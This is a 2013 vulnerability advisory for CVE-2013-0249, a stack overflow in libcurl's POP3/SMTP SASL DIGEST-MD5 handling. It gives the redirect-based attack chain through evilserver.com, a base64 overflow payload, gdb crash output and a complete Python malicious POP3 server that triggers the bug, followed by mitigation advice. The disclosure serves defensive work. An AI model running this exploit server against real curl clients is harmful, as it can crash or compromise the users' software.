cURL buffer overflow
Wed 06 February 2013
Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.
Vendor notified, CVE-2013-0249 relased.
Attack Concept Outline
We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/
GET / HTTP/1.0
Host: evilserver.com
server answers with
HTTP/1.0 302 Found
Location: pop3://x:x@evilserver.com/.
"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers
+OK POP3 server ready
curl sends
CAPA
servers answers with DIGEST-MD5 only
+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server
so, libcurl has to send
AUTH DIGEST-MD5
then server sends the payload
+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=
and overflow happens because of fixed realm buffer size
realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8
how it looks in gdb
Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0 0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2 0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000
Original exploit: pop3d.py.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 CVE-2013-0249 by Volema/MSLC
import socket
import base64
host = "localhost"
port = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
buf = sock.recv(1024)
print buf
if buf.find('USER') > -1:
sock.send('+OK\n')
if buf.find('PASS') > -1:
sock.send('-ERR 999\n')
if buf.find('CAPA') > -1:
resp = '+OK List of capabilities follows\n'
resp += 'SASL DIGEST-MD5\n'
resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
resp += '.\n'
sock.send(resp)
if buf.find('QUIT') > -1:
sock.send('+OK')
break
if buf.find('AUTH') > -1:
realm = 'A'*128
payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
resp = '+ '+base64.b64encode(payload)+'\n'
print resp
sock.send(resp)
sock.close()
Mitigation
We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.